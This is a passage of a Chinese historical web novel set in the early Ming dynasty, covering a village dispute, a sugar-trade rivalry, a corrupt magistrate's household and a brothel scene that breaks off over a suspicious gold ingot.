郭纲一愣,脸色阴沉下来,看向堂下的儿子,郭永神色也有些惊慌,因为他们知道杨成说的没错。 朱元璋对读书人是明面尊敬,暗地防备,他总觉得,读书人人品好的不多。 在暂停科举的十几年里,他实行的是举荐制,也就是让地方上举荐有才有德之人。 但举荐制弊端实在太大,加上十几年经营后,大明的教育体系已经基本完善,所以重开科举。 但两个制度转换之时,总会有一些余波。 例如此时朱元璋就明确指出,国家选材,德才并重。有才无德者,即使中举也不给官当! 这其实只能算是一个态度,因为考生遍布天下,朝廷也没法知道谁有德无德。 除非有人有具体证据,说明某人如何无德,例如爹妈刚死就逛青楼纳妾,但这种情况太罕见了。 可就算只是个态度,郭纲父子却也不敢等闲视之。万一呢? 眼前这小子身世特殊,不是普通泥腿子,没准真能造出些舆论来。 人要倒霉,多小的概率都可能赶上,郭永也是苦读多年才等来乡试机会,岂能冒险? 可狠话说出去了,郭纲又不能自行收回。他需要一个台阶,于是目光看向首告白飞金。 白飞金心领神会,知道今日已经占不到便宜,万不可再给郭纲父子惹麻烦,当即拱手道。 “县尊大人,我等读书人,自当大度些,不与村野之人计较。今日之事,我们就不追究了。” 郭纲松了口气,威严道:“果然是读书知礼之人,很好。此事就此了结,退堂!” 哥仨走出公堂,杨成带着两人向堂下为自己作证的百姓深深鞠躬,并问了为首几人的姓名,这才离去。 出城后,杨成坐在顺风牛车上沉默不语。 杨草和杨牛以为他以前没受过气,今天受了委屈,心里不爽,也不敢说话。 许久,杨成长吁了一口气,自言自语:“看来,有钱,有人之外,还得有个功名才行啊。” 第十二章 好大儿 眼看知县退堂,眼看着杨成三人扬长而去,众书生愤愤然看着白飞金。 这厮最先怂恿刘子业挑事儿,又率领大家围殴,现在吃了大亏,这厮竟然说不追究了! 受伤最重的刘子业兀自捂着裆部直不起身来,不可思议地看着两个秀才公。 “郭兄,白兄,就……就这么算了吗?我挨打了呀!” 郭永看了刘子业一眼,眼神中带着不耐和恼怒。白飞金赶紧打圆场。 “子业兄,各位,今日大家据理力争,以德服人,正是我辈读书人之风采。 一会儿我请大家去醉花楼听曲儿,安排全套。今天子业兄居功至伟,当坐首排。” 书生们顿时从愤愤然变成了欣欣然,刘子业更是顿时忘记了疼痛。 以往去醉花楼他只能坐最后一排,别说触摸了,连音画都不是高清的。 想不到今天能坐首排,没准姑娘们给郭永和白飞金敬酒时,自己还能蹭蹭呢! 之前劝过架的庞童生拱手道:“家中还有些事,今日就不叨扰白兄了。” 郭永一把拉住庞童生:“少来,你定是回家偷偷温书。今年又没有院试,你急什么?” 其余几人也随声附和,拉扯着庞童生,簇拥着郭永等人走了。 刘通此时却是很开心的,他的糖霜全出手了,而且王德福声称,这样品质的糖霜,有多少要多少。 当然,王德福也曾试探着询问过他糖霜的来源,刘通推说是远方亲戚从海船上弄来的。 王德福知道这必是托词,但守住商业机密也是人之常情,便不再追问。 只是坚持和刘通签了独家供货契约,约定刘通的糖霜只能送给桂花斋,价格为四千二百文一斤。 这已经是大价钱了!若不是桂花斋缺货,正常绝对给不到这个价格。 至于桂花斋对外卖糖霜,能卖到多少钱,刘通都不眼红,什么人挣什么钱,这钱他挣不来。 王德福是个讲究人,他若是想查,早晚能查出刘通的货源,可他并没有这么做。 因为他知道,如果持货人愿意和自己直接交易,早就直接上门,而不用过刘通这一手了。 至于对方为啥非要通过刘通,这事儿王德福并不打算弄清楚。 生意人要学会让别人也赚钱,若想自己把钱都挣了,很可能鸡飞蛋打,什么都赚不到。 就像刘通也不想弄明白杨成的糖霜是怎么弄出来的一样,他就是个跑腿的,好好挣跑腿的钱就好。 他从乡下进城混了这么多年,背着个经商的名头,却只能混个温饱。 现在祖坟冒了青烟,成了杨成的糖霜中间商,虽说利润率不算高,但总金额很高。 而且这明显是个长久生意,以后自己就算不能大富,至少也能小富,远离斩杀线。 所以晚上吃饭时,刘通特意让秀儿多做了两个菜,还烫了一壶酒,准备庆祝一下。 刘通娘子天擦黑才到家,一见桌上有酒有肉的,就竖起了眉毛。 “做啥子?吃断头饭啊!是不是姑娘又馋了?姑娘,咱家不比你家,可禁不起这么吃!” 秀儿垂着头,不敢说话,只是伸手假装抹眼泪,以慰舅母之心。 刘通赶紧说道:“你说什么呢?是我谈成了一桩大生意,全家一起高兴高兴。” 刘通娘子撇撇嘴:“就这么个小铺子,你能谈成什么大生意?你就敢这么吃? 子业说了好几次了,他的长衫旧了,要再做一件儿,否则上学都嫌丢人。” 刘通叹口气,刚要说话,刘子业已经醉醺醺地进了屋子。 刘通娘子立刻满脸笑容:“子业,你咋回来了,今日书院放假?快坐,今天有猪耳朵吃呢!” 明朝初期,受元朝统治的余波,猪肉尚属贱肉,价格也比鸡鸭羊都要便宜。 其中很重要的原因,是此时虽有阉割技术,却还不够普及。 当时养猪的环境也很差,猪仔阉割后,尤其是母猪仔阉割后,死亡风险较高。 而百姓又没法控制母猪只生公的不生母的,所以往往劁猪时只劁好劁的公猪。 大部分养猪的为了避免损失,干脆就都不劁,反正一样有人买。 在饭都吃不饱的年头,猪肉主要的价值是营养和能量,而不是味道。 只有大酒楼里的高价猪肉能保证是劁过的,老百姓上街买的猪肉,基本上都是带着腥臊味的。 刘子业瞥了一眼桌上的菜,对猪耳朵不屑地一挥手。 “今日在醉花楼吃过了,郭永请客,我做的首排,吃的可是炙羊肉!” 刘通看了儿子一眼,无奈地摇头,给秀儿碗里夹了一筷子猪耳朵。 “子业啊,你在德文书馆读了十年书了,依旧考不上童生。 依我之见,不若学一门手艺,实在不行,学学做生意也可。” 刘子业脸涨得通红:“休提什么手艺生意的!我同窗都说,若非你是商人,我早就考上童生了! 想来是知县大人知道你是做生意的,才心存轻视,连我的试卷都不好好看一眼! 我这么讨好郭永是为何?还不是想求他跟他爹说一声,对我照拂一二吗?” 刘通窘迫道:“我虽经商,可你的户籍过继在你大伯名下,他家乃是农户,怎会影响你呢?” 刘子业还没说话,刘通娘子狐疑道:“子业,你这手腕怎么青了?还有,你扭来扭去的做什么?” 刘子业脸更红了:“今日在城中,有三个村汉对我等读书人无礼,我便替郭永教训他们一顿。 因是以一敌三,虽然获胜,难免受些小伤。郭永还单独敬了我一杯酒呢!” 秀儿柔柔地说道:“表哥,你们一群书生,怎么只有你一人动手?他们也不帮帮你吗?” 刘子业看着秀儿,脸色比看自己爹娘要好很多,甚至还谄媚地笑了笑。 “秀儿啊,他们都是文弱书生,哪有我这般文武全才?帮不上忙的。” 他似乎很怕别人觉得郭永不拿他当回事儿,赶紧找补道。 “不过郭永当即让捕快把他们带到了公堂上,知县大人已经狠狠申斥了他们,帮我出过气了。 郭永喝酒时说了,等他考上举人后,一定会找个由头,狠狠收拾那小子一顿!” 刘通摇头道:“既然你把人都打了,又何必闹上公堂呢? 那郭知县不是本地人,可咱家是从村里进城的,亲戚朋友都在村里。 各村各镇之间也多有亲戚,万一大水冲了龙王庙,将来走亲遇上岂不尴尬?” 刘子业摇头:“乡下人而已,和咱家能有什么亲戚。领头的小子说是杨家湾的,叫什么杨成。” 啪嗒一声,刘通的饭碗掉在地上,砸得粉碎。 第十三章 杨二蛋 秀儿也惊呆了,嘴里原本慢慢嚼着的猪耳朵发出咯噔一声脆响。 刘通娘子气恼地看着刘通:“你干什么?一个碗多少钱?还有满满一碗饭呢!” 刘通全身发抖,不知道是气的还是吓的,指着刘子业的手指头抖得就像在抢红包儿。 “你,你,小畜生,你砸了我的饭碗啊!” 刘子业也惊呆了,还能这么明目张胆地栽赃陷害吗? “爹,你疯了?明明是你自己把饭碗砸碎的,我何曾碰过你?” 刘通气得团团转,最后还是秀儿轻声细语地将事情缘由说了一遍。 听说一次就能赚几百上千文的生意要砸锅,刘通娘子也呆住了,罕见地埋怨儿子。 “子业啊,你打谁不好,干啥偏偏打他呢?我在娘家时就听说过他家的,那不是个好欺负的。” 刘子业却不以为然,他从小就跟着父母进城,又早早进了书院读书,对乡下之事所知甚少。 只是听说事关银钱,刘子业却也心疼。他想了想,很有把握地开口。 “爹你不用担心,我与郭永是同窗好友。那杨成若胆敢不把生意给你做,我就让他生意干不下去!” 刘通看着自己的好大儿,心里都在滴血。 他不是蠢人,这几天发生这么多事儿,今天的事儿就未免显得太巧了些。 他忽然问道:“今日和你一起的同窗中,可有白鹿山的儿子?” 刘子业吃了一惊:“爹,你学算命了?何以如此精准?其实,虽说是郭永请客,出钱的是白飞金。” 刘通怒道:“蠢货啊,你被人当刀使了,还不自知?这分明是白鹿山一箭双雕之计!” 转了两圈儿后,刘通立刻在铺子里搜罗了几件拿得出手的东西打了个礼盒儿。 “子业,你随我到杨家湾去一趟,负荆请罪,说明被人利用了,或可挽回!” 刘子业脑袋晃得像拨浪鼓:“不行不行,让我去跟一个泥腿子认错?简直是斯文扫地! 传出去还不被同窗们笑掉大牙?我以后还在不在书院呆了?” 说完也不等刘通发火儿,转身就跑,在门口还停了一下,看着秀儿。 “表妹,我最近又写了几首好诗,等我下次拿回来给你看!” 杨家湾,杨成并不知道自己揍的书生是刘通之子,他只是感慨了一下要有功名,就暂放一旁了。 他还有更紧迫的事儿,那就是继续做糖霜,尽快完成资本的原始积累。 做活性炭的设备还太简陋,他画了两张图纸,让杨铁匠给打两根更好用的铁管,好通蒸汽。 竹筒虽然现成,但禁不起铁箱子的高温,没使一会儿就碳化掉渣了。 而且风箱也得置办一套,毕竟借用杨铁匠的不是长久之计,人家也得干活啊。 村里人都听说杨成进城卖货了,看这小子带着俩小兄弟忙忙活活的,确实像是在干正经事儿。 族长十分欣慰,在傍晚村头纳凉时,跟村里人感慨,杨家祖宗保佑,浪子回头金不换啊。 刚从城里回来的杨二蛋也凑过来聊天,此人把地租给了别人,自己常年在城中晃荡。 当时在村里,这种人被视为游手好闲之徒,类似泼皮无赖,因此众人都不爱搭理他。 老族长还是很负责任的:“二蛋,你也老大不小了,成天东游西荡,成何体统? 你学学人家杨成,虽然小时候犯些混,可人家成丁了,就浪子回头了!” 杨二蛋嘲讽一笑:“你们还不知道吧,杨成不在村里闯祸,改到城里闯祸去了!” 众人一惊,杨二蛋扬眉吐气,绘声绘色地说杨成在城里打了书生,差点被人抓到衙门去打板子。 “那些书生虽张狂些,可他若不张狂,人家怎会惹他? 正常人谁会和书生们较劲,他却敢动手打人家!还在公堂上嚷嚷着凭他父祖身份谁也不怕。 那些书生里不但有秀才公,还有知县的儿子呢!要我说,咱们杨家湾早晚得被他连累!” 众人一时无语,本以为是浪子回头,想不到是浪里个浪,浪得更远了! 以往在村里称王称霸,毕竟是肉烂在锅里,小池塘翻不起大浪来。 现在连秀才公都敢打了,还敢在公堂上和知县叫板,确实容易给族里惹祸啊! “你放屁!成哥才没说什么父祖身份!而且那些书生动手打人,成哥不过是招架而已!” 杨草跟着杨牛回家拿东西,正听见杨二蛋胡扯,顿时火冒三丈,大声驳斥。 杨二蛋眼珠一转:“小屁孩儿,敢做不敢当吗?我亲眼所见,还能有错吗?” 杨牛和杨草气得要动手,杨二蛋嘿嘿一笑。 “恼羞成怒了?还敢动手?别人惯着你们,我可不惯着!” 众人自然不能让他们打起来,只是劝解,却是大都信了杨二蛋的话。 人的口碑不是一天养出来的,杨成仗着父祖功德,在村里横行多年,如今到县城惹祸,也在情理之中。 “二蛋哥,这些你当真都是亲眼所见吗?” 见取东西的人迟迟未归,出来找人的杨成听了几句,淡淡的开口了。 杨二蛋眯起眼睛看着杨成,心里有股无名的邪火在窜。 同样都是游手好闲的村痞无赖,凭什么自己就人人喊打,杨成就能横行无忌? 他跟人打架家里就能多几只鸡,自己跟人打架就会被族人制裁。 这些也都罢了,自己喜欢李香儿这么久,都不敢随便去撩骚,这厮竟然敢偷看人洗澡! 这也都罢了,最不能容忍的是,他不过是退还了当初讹诈的鸡,就成了浪子回头了? 还有天理吗?还有王法吗?还有法律吗? “我当然是亲眼所见的!你不承认我也没办法,谁让咱们都口说无凭呢?” 杨二蛋很得意,因为没有旁证,自己说什么就是什么。自己没有证据证明,对方也无法证伪。 杨成淡淡一笑:“也就是说,你亲眼见到我们被书生打,却不顾同族子弟,当了缩头乌龟? 你亲眼看着我们上公堂,其他村的人挺身而出为我们作证,你却袖手旁观?” 这句质问顿时点醒了众人,当时的宗族观念是很重的,出门在外,同族之人守望相助是必须的。 对与错是其次的,团结远比对错更重要。兄弟阋墙,共御外辱,这才是宗族的生存之道。 老族长脸色一沉:“他们三个人只有杨成成丁了,杨牛和杨草还是孩子呢! 不管起因如何,族里的孩子出了事儿,你就在人群里眼睁睁看着?亏你还姓杨!” 第十四章 燕瘦环肥 杨二蛋一惊,撒谎是一回事儿,不团结族人是另一回事儿,这可严重多了! 撒谎最多被人鄙视,反正他也被鄙视惯了。可若是不团结族人,以后在这村里可就难呆了。 他赶紧解释:“不不不,当时我……其实我当时不在场,是听别人说的。” 杨成冷笑道:“你既然是听别人说的,为何又言之凿凿,说是自己亲眼所见呢?” 杨二蛋额头见汗:“这不是话赶话吗,这俩小子打死不承认,我才急了的。 我也是为了维护杨家湾,你殴打书生,顶撞知县,惹了祸还不是要族里护着你们。” 杨二蛋拉大旗作虎皮,拿全族利益打马虎眼,想把自己说谎的事儿岔过去。 事实证明,这招很有效,因为族人其实不太关注杨二蛋的人品,他们更担心的是杨成究竟有没有惹麻烦。 正如杨二蛋所说,若是杨成惹了麻烦,族里一定得全力回护,若赔钱罚银,最后还是得族里承担。 杨成从头到尾把书生惹事儿,自己解决的过程跟大家说了一遍,大家稍微松了口气。 挨打的连个童生都不是,而且知县和儿子也没有追究,虽有隐患,但情况还可以接受。 杨二蛋急道:“各位兄弟叔伯,杨成刚刚成丁,进城做生意难免不知深浅。 这次差点就给族里惹下了大祸。要我看,还需有个老成些的,在城里有人脉吃得开的人带着才行。” 众人这才了然,原来杨二蛋打的是这个主意,说道在城里人头熟,吃得开,村里非杨二蛋莫属。 他曾对众人炫耀过,自己和城中团头孙二爷是好友,和各大商铺掌柜的也都很熟。 不管几分真假,杨二蛋确实是时常能从城中弄些银钱回来,在杨家湾算是外场人儿了。 杨成眯起了眼睛:“二蛋哥,前几天在城中,堵着我们要钱的混混,是你找来的吧?” 杨二蛋一惊,脸上却是委屈愤怒:“什么混混,你在胡说些什么!” 杨成笑道:“孙则是团头孙二爷的侄子,你既然和孙二爷相熟,自然也认得了。 我还纳闷呢,城里那么多人,他们怎就知道杨草身上有钱呢?” 杨二蛋赶紧辩解:“定是你们小小年纪,脸上藏不住事儿呗。我岂会干这种吃里扒外的事儿?” 杨成淡淡说道:“你既然与各大商铺的掌柜相熟,想来京福斋那么大的门头,你也必然相熟。 我本来也纳闷,杨家湾的路曲径通幽,房屋错落,白鹿山的马车一步冤枉道都没走。 看来你不但告诉他我住在哪里,连怎么走都指画得很详细啊。想来那日你就在白鹿山车上吧?” 话不说不明,村里人也不是傻子,心下顿时了然,不由得都对杨二蛋怒目而视。 老族长气得拿起旱烟袋就冲着杨二蛋的脑壳抡过去,吓得杨二蛋扭头就跑。 杨成大声喊道:“二蛋哥,今夜再去我家院里需小心了。小黑可没栓绳。 你家还无后呢,以后见面我可不想叫你一蛋哥或者无蛋哥!” 人群中有人先掌不住,一下笑出了声来,却是跟着父母出来看热闹的李香儿。 随即李香儿想到自己不该在这种粗俗的语境下笑的,因为这会显得自己秒懂。 因此她羞恼地瞪了杨成一眼,啐了一口:“什么意思,我不懂,反正不是好话!” 众人本来就在笑,见她如此欲盖弥彰,都笑得更厉害了,弄得她满脸通红。 正想着如何找补,一阵柔弱的笑声传来,人们这才发现人群外多了辆骡车。 这骡车和白鹿山的比不了,车上的轿棚很小,挂着布帘儿,笑声就是从轿棚里传出来的。 车把式坐在左辕上,刘通坐在右辕上,并没有挤在轿棚里。 刘通本来是不知道杨成家具体位置,想着找人打听,因此看见前面有人群,才凑过来的。 此时见到杨成就在人群中,赶紧跳下车来,连连拱手。 “杨兄弟,犬子混账,我来负荆请罪来了!” 然后咳嗽一声,轻轻拍拍轿棚,轿棚的帘子掀起来,秀儿满脸笑容,手还捂在胸前,笑得喘气。 “杨大哥,舅舅一个人出门舅妈不放心,让秀儿也跟着来看看。” 明初之时,宋儒理学还没复兴,蒙元遗风仍在,所以男女大防还不那么讲究。 只有大户人家,已经开始讲究女眷不出二门,而小门小户就没那么多讲究。 更别说乡野山村,像李正这样的村学夫子,都不限制女儿出来看热闹。 所以大家对秀儿的出现,并未觉得有何不妥,只是难免会多看几眼。 城里女孩儿在乡下可是很难看到的,尤其是还长得这么好看,不少人的目光开始在秀儿和李香儿之间逡巡。 李香儿作为杨家湾的村花儿,平日里没有对手。今天秀儿出现,人们难免会不自觉地做些对比。 论容貌,李香儿略胜一筹。李香儿是鹅蛋脸,带点婴儿肥,一笑还有两个酒窝。 酒窝绝对是女孩儿的加分项,不是有那么首童谣吗。 “倒骑着毛驴上山坡,遇见个大姐有酒窝。酒窝装着迷魂酒,醉死九个情哥哥。” 秀儿是小巧的瓜子脸,也没有酒窝,在这方面败下阵来。 但秀儿在眉眼上扳回一城。秀儿的眼睛半睁半闭,眼神儿里带着天然的幽怨,就像钩子一样。 眼神一瞥,就像钓鱼高手甩出去的长线,再一低头,就像收杆,把男人直接钓成翘嘴儿。 而李香儿的眼睛总是睁得大大的,总像在告诉别人:看什么看,想也不行,想也有罪! 当然,在村里人看来,李香儿还是很有优势的,至少身体康健,腰身有力,这很重要。 看秀儿那副笑两声都要岔气的身板儿,庄户人可消受不起。 娘子好看当然重要,但更重要的是能操持活计,庄户人可养不起花瓶。 杨成倒是没心思做什么比较,他听了刘通的话,脑子里闪过刘子业的脸,瞬间就明白了是怎么回事儿。 随即微笑开口道:“雕虫小技,就像挑拨你我的关系,未免看轻了咱们。不必放在心上。 你难得来我这儿一趟,我一会杀只鸡请你喝酒。顺便让你看看我是怎么做糖霜的。” 第十五章 跟着哥,有肉吃 此言一出,众人皆惊。 村里人虽然隐约听说过杨成的生意和糖有关,但一直以为不过是用黄泥浇淋做些白糖。 那种泛黄的白糖虽然也很值钱,但要有很好的手艺,损耗也大,所以本地几乎没人做。 因为红糖本身就很贵,如果手艺不高,损耗很多也没做出白糖来,搞不好还会亏本。 所以本地商铺不管红糖白糖,都是糖商们从南方出甘蔗的地方贩来的。 产地的作坊做出红糖来,会直接拿出一部分来提炼白糖。因为原料便宜,手艺有传承,所以能赚钱。 至于糖霜,即使在那些地方,也是碰运气的事儿,基本都是做白糖的彩票副产品。 绰号“杨老虎”的杨厚丰,当年走南闯北,阅历丰富。所以杨成会些做白糖的技术,也不足为奇。 可今日一听,杨成竟然不是在做白糖,而是在做糖霜! 这是什么概念?这就像别人一辈子才能遇上几个美女,而你直接进了天上人间一样! 众人这才恍然大悟,为何杨二蛋会眼红,宁可背负全族骂名也想要捣乱,以图分一杯羹。 老族长第一个坐不住了,他咳嗽一声,背对着刘通,冲杨成挤着眼睛。 “小成子,人家刘掌柜远来是客,你请人家喝酒是应该的,进作坊就不必了吧。 作坊嘛,又脏又乱的,有什么好看的,岂是待客之道?” 看着老族长的眼睛都快挤出眼泪来了,杨成知道他是为自己好,却是微笑不语,只给了他一个“放心”的眼神儿。 刘通也从巨大的震惊中缓过神来,连连摆手,表情惶恐,就像杨成不是请他进作坊,而是请他上刑场。 “不可不可,此乃老弟的核心机密,怎可轻易示人,万万不可。” 杨成诚恳道:“我是真心诚意地想让你看的,我信得过你,你又何必如此?” 刘通的头摇得像拨浪鼓:“可我信不过自己啊!我不知道是最安全的,想出卖你都做不到!” 杨成哈哈大笑,老族长也回过神来,叹了口气。 这些生意人弯弯绕绕可真多,平时看杨二蛋就够奸猾的了,跟杨成一比就像个笑话。 在一片和谐的气氛中,刘通雇的骡车赶进了杨成家的大院子里。 这还是刘通头一次见到杨成的家,忍不住感叹,这院子是真大啊。 被拉来陪客的老族长积极推销:“刘掌柜,这院子其实还不算大,将来还要再扩的。 村里把旁边的地都留出来了,等杨成成家时这院子再扩一倍,盖上七间大瓦房!” 刘通连连点头,之所以不盖八间,是因为白寡妇肯定要跟着自己那房媳妇一起住的。 他对此倒是没什么想法。他把秀儿带来,纯粹是想用一下美人计而已。 万一杨成被自己儿子惹恼了,不肯原谅自己,外甥女开口能缓和一下气氛。 但他并没打算真把秀儿搭进去。姐夫本是举人出身,因为牵连了胡惟庸案,忧惧而死。 姐姐病死前把女儿托付给了自己,自己就算不能给秀儿太好的前程,也总不会卖甥求荣。 老族长见刘通反应平淡,略感失望,想了想,又跑去把李正拉来一起陪客。 李正倒也不推辞,乡野民风淳朴,一家之客即是全村之客。 何况杨成家这情况,孤儿寡母的,总要有个上得了台面儿的人帮忙出面。 李正觉得自己作为村里罕见的知识分子,上此台面儿义不容辞,完全没注意到老族长的醉翁之意。 刘通见杨成不怪罪,心里痛快,酒量大涨。李正不肯失礼,酒到杯干,最后俩人都喝得熏熏然。 当李香儿来接李正回家时,正看见杨成把刘通送上骡车。而白寡妇拉着秀儿不松手,嘚嘚嘚嘚说个没完。 秀儿脸色微红,不停的点头微笑。李香儿看了秀儿一眼,没好气地扶起李正,大步往外走。 “汪汪汪!”小黑守在作坊门口,冲着来往纷杂的人们叫嚣,展示自己的职业精神。 李香儿一跺脚,把小黑吓得往后缩了一下,它龇着牙,还认识这个前主人,未敢造次。 “狗东西,你才认识这家几天,就把自己当成这家的了? 你小心着点,那小子不是什么好人,当心哪天把你杀了吃肉!” 秀儿看了李香儿一眼,又看了看杨成。杨成也看了李香儿一眼,嘿嘿一笑。 转身拿了根鸡骨头,扔给小黑:“放心啊小黑,别听别人挑拨,跟着哥,有肉吃!” 此时在县衙后院儿,知县郭纲手里拿着根鸡腿骨,脸色比小黑的还黑。 “白鹿山,不过是区区糖霜而已,你又不是买不到,何必咬着不放呢?” 坐在他对面的白鹿山,看似一脸谄媚,但眼神中隐藏的傲气,说明他并不是真怕郭纲。 “县尊大人,您是圣人门徒,不知商道之事。商场上最讲究个此消彼长之道。 桂花斋原本是宫廷供奉,其实皇宫一年能吃几块糕点?就算价高能值几何? 就算从宫里赚了几个钱,上下打点的开销更大,算下来能不赔钱就不错了。 可他只要有宫廷供奉这个名头,在民间,它的糕点就供不应求,价高利厚。 普通百姓走亲访友咬牙买来撑门面,权贵富豪们更是府中常备之物。 赶上新品上市时,还会动用人脉,加价求购,不光为了那一口鲜,还要争个面子。 小人上面仰仗贵人,下面拼了性命,苦心经营多年,才搬倒了桂花斋,得了这宫廷供奉。 桂花斋百年老号,不是没有人脉的,若非胡惟庸出事儿,官场混乱,我未必能得手。 若是掉以轻心,万一被桂花斋趁机翻过身来,再想压住它,那可就千难万难了!” 郭纲丢下鸡骨头,淡淡开口:“你不用提醒本官,你上面有贵人相助的事儿。 说起来我还挺好奇的,既然桂花斋也有些背景,你当初到底是怎么搬倒它的呢?” 白鹿山笑道:“小人不敢,上面归上面,在这海盐城中,县尊大人就是我的父母官。 说起搬倒桂花斋,就要从糕点这一行的命脉说起了。 糕点行的命脉除了手艺,就是原料的供应,尤其是糖、油和蜜,这三样尤为关键。” 第十六章 清官 白鹿山侃侃而谈,他能成为一个豪商,并不只是靠谋略凶狠,确实也是有真本事的。 “糕点的原料主要是米粉面粉,这东西产量大,渠道多,想控制是很难的。 但糖、油、蜜这三样东西,就好控制得多了,其中又以糖为关键。 因为糖的产地都集中在最南边靠海之地,运糖的路径十分清晰,大糖商也就是那些人。 普通的糖不用管,只要卡住糖霜,就可以卡住桂花斋的咽喉了。” 说着,白鹿山指着盘子中一块糕点:“大人看这片雪花糕,以糯米为本,以猪油为质。 糯米自然要顶级糯米,猪油也必须用上等阉割的猪油,才能保证味香口糯。 可这糕真正的魂却在于糖霜。若用普通红糖或白糖,其味回苦,其色不纯。 只有用上等糖霜,才能让这糕晶莹似雪,洁白如云,入口回甘,齿颊生香啊。” 郭纲拿起一块雪花糕来,咬了一块下去,细细品味。 “你是如何控制贩卖糖霜之人,不卖给桂花斋的呢?你们又不是只在海盐有店铺。” 白鹿山笑道:“店铺虽然各地都有,糖商都是那一伙儿人,这却是靠命拼来的。 那些糖商也是大家族,并非轻易能吓住的。我身边原就有些兄弟,又跟各地团头做了笔买卖。 一年之中,我这边连死带流放,折进去二十多个人。糖商那边,也死伤了十七八个。 最终那边扛不住了,双方商定,我作为他们在整个大明的糖霜总商。 也就是说,他们所有的糖霜都得卖给我,再由我往外卖。当然,我给他们的价格也不低。” 郭纲皱眉道:“他们就不告官吗?桂花斋就袖手旁观?” 白鹿山摇头道:“当然不会。桂花斋曾告到应天府,可双方在朝中都有人。 而且我并没有断了桂花斋的糖霜,他告我的理由就不足。 朝廷不在乎商人之间竞争的事儿,只作为普通纠纷处理,杀人了有人偿命便是。 那时桂花斋是瓷器,我是瓦片。王德福毕竟只是个生意人,不敢拿命来拼。 他倒是想了些其他法子,例如直接派人到产地去买糖霜。 可这一行是有规矩的,那些产糖霜的作坊,都被那几家糖商长期订货了,不敢卖。” 郭纲咽下雪花糕,看向白鹿山的眼神中多了些东西,却什么也没说,只是又拿起一块来吃。 白鹿山继续道:“糖霜产量本就极少,所以从来不愁卖。 我成了总商,那些富豪权贵就会找我买糖霜,我自然就和他们建立了关系。 桂花斋的糖霜不够用了,只能做贡品,对民间售卖的就只能用次一档的白糖代替。 这样就做不了顶级糕点了,只能做些普通糕点。利润下降,档次也跟着下降。 而我京福斋的顶级糕点,货真价实,先得了口碑,只差那一块宫廷供奉的牌子了。” 郭纲不解:“正是,即使民间砸了牌子,可宫廷供奉还在,难道宫里还会私访桂花斋的口碑不成?” 白鹿山笑道:“宫廷供奉是每月一次,我一直在等机会。终于几年前,胡惟庸出事儿,机会来了。 桂花斋原本最大的靠山是宫中后妃,这后妃因与胡惟庸家有旧,被牵连进了冷宫。 我立刻出手,在桂花斋赶做贡品之时,断了他的糖霜,打了他个措手不及。 他供不上货,宫中采买也有罪责。我找到宫中采买,送了大钱,又为他献上免责之计。 采买之人便向宫中汇报,说桂花斋管理不善,民间口碑下降,不合宫廷威仪。 且桂花斋的点心,当初为罪妃所喜,恐有隐患,请旨替换供奉。 此时宫中朝中都无人敢为其说话,皇帝皇后哪会管这等小事儿,便趁此机会换成京福斋了。” 郭纲忽然:“其实既然桂花斋的靠山已倒,他们就算得了糖霜,也很难再翻身了。 你也不必为了几斤糖霜就如此兴师动众,非要抢到自己手里不可吧。” 白鹿山摇头道:“还是那句话,县尊大人你不知商道之事。 他只要有极品糖霜在手,不但可以做顶级糕点,还能直接售卖糖霜,和那些富豪权贵保持住联系。 桂花斋丢了宫廷供奉才两年,宫里宫外得过他钱的人,仍希望他能翻身。 这时候不能给他一点希望。就像溺水之人,绝不能让他有喘一口气的机会!” 郭纲不解道:“宫廷采买之前也拿过桂花斋的钱啊,后来不也拿你的钱了吗? 那些得过桂花斋钱财的人,你直接拿钱买通,不就彻底断了桂花斋的路了吗?” 白鹿山叹口气,心说果然是天底下没有傻商人,只有傻官员。 “县尊大人,生意赚的钱毕竟是有数儿的,哪能打点得人人都满意? 大钱自然要花在我的靠山身上,而桂花斋的靠山,我还能给多少,能比桂花斋原来给的多吗?” 郭纲吃完了三片雪花糕,擦着手:“你若想做什么尽管做,本官却不方便出手了。 乡试在即,小儿十年苦读,本官不能在这节骨眼上冒险,因小失大。” 白鹿山笑道:“不需要县尊大人出手,大人只要秉公执法,为民做主就行了。 犬子与郭公子一同府城乡试,彼此照应,借郭公子贵人之气,必能青蝇附骥。 小人已经让人在府城定了最好的客栈,也安排了伙计跟随照应,大人尽管放心。” 郭纲满意地点点头:“就这样吧,本官累了,先休息了,牛师爷,送客。” 候在外屋的牛师爷含笑礼送白鹿山,在后门处,两人停下脚步。 白鹿山掏出一张一百贯的大明宝钞,这是朝廷刚发行的,此时和铜钱几乎可以十兑九。 “县尊大人清廉自守,从不收受贿赂。牛师爷因与大人有旧,故而追随。 牛师爷家道殷实,不但不收大人钱财,还常为大人家中吃点鱼肉荤腥出钱贴补。 此事实在让人感慨,可谓佳话,牛师爷当真有古君子之风也!” 牛师爷神色肃然:“县尊大人何等高洁,不但我不求钱财,只为追随大人。 就是这府中上下奴仆,也没一个是县尊大人花钱买的,都是崇敬大人,甘心追随的。” 两人都用最正经的语气说着最扯淡的话,偏偏两人还都能忍住不笑。 等白鹿山离开后,牛师爷将宝钞塞进怀里,又取出一把碎银子。 “发月钱了,男仆先领,女仆后领。记住,这都是我发给你们的,县尊大人可没钱养你们。 小翠,你的回头到我房里单独领。” 第十七章 假金案 这一天,本来应该是刘子业最嗨皮的一天。 因为这天挺风和日丽的,而且下午没有课。白飞金找到他,再三解释道歉。 “刘兄,你是了解我的。家中生意我从不过问,更不知道咱们两家之间的事儿。 更不用说我拿你当刀使,逼你爹合作。你想想,京福斋难道还能少了供货商了? 那等铜臭之事,岂能阻碍你我之间纯洁的同窗友情?若真如此,可是低了你我的身份。” 刘子业觉得言之有理,连连点头,表示自己并未如此想过,都是老爹小家子气。 白飞金十分感动,决定单请刘子业去青楼听曲儿,以增进感情。 快到醉花楼时,白飞金家里伙计来找,说有急事儿。 刘子业本来从精神到肉体都做好了预热准备,想不到被兜头一盆冷水,别提多难受了。 尤其是醉花楼里的姑娘们,已经从窗户里在向他招手了。 白飞金抱歉地塞给他一锭金子:“别替我省钱,花多少,剩下给我就行。” 黄色的金子就像蓝色的药丸儿一样,让刘子业瞬间腰杆硬了起来,也不管白飞金了,自己大步入内。 刘子业从未被一条龙单独服务过,这次就像老鼠掉进了米缸,把以往的幻想一一实现。 直到第二天清早,刘子业才恋恋不舍地穿戴整齐,和红颜知己依依惜别。 醉花楼的妈妈花无言走过来,柔情似水地伸出手来,示意该给钱了。 刘子业从腰间摸出白飞金给的金元宝,大气地拍在花无言手上。 “找钱!” 花无言拿起金元宝看了看,又掂了掂,神色微变,冲龟奴招了招手。 